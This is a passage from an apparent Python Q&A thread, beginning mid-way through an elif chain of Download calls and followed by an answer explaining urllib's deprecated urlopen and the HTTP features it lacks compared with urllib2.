elif e6602g == True:
Download(e660g)
elif e6392 == True:
Download(e639)
elif e639g == True:
Download(e639g)
elif e6352g == True:
Download(e635g)
elif e5502 == True:
Download(e550)
elif e5002 == True:
Download(e500)
elif e4012 == True:
Download(e401)
What did go wrong? I used urllib should I have used urllib2?
Yes. The fact that just adding the 2 to your code fixes the problem is obviously proof of that, but it doesn't explain much.
As the docs for urllib.urlopen say:
Deprecated since version 2.6: The urlopen() function has been removed in Python 3 in favor of urllib2.urlopen().
This doesn't mean that they stopped fixing bugs in urllib as of 2.6 (there was a bug fix as late as 2.7.9), but it does mean that missing functionality will never be added. That includes, among other things, some kinds of HTTP authentication, redirections, HTTPS with non-standard CAs, proxy settings, and proxy authentication.
Without knowing anything at all about the problem besides "the download doesn't happen", or what URL you're trying to download (you seem to be passing in a variable named Update_box that isn't assigned anywhere), or the setup you're running on, it's impossible to know exactly which one of these problems (or any others) is the key.

Categories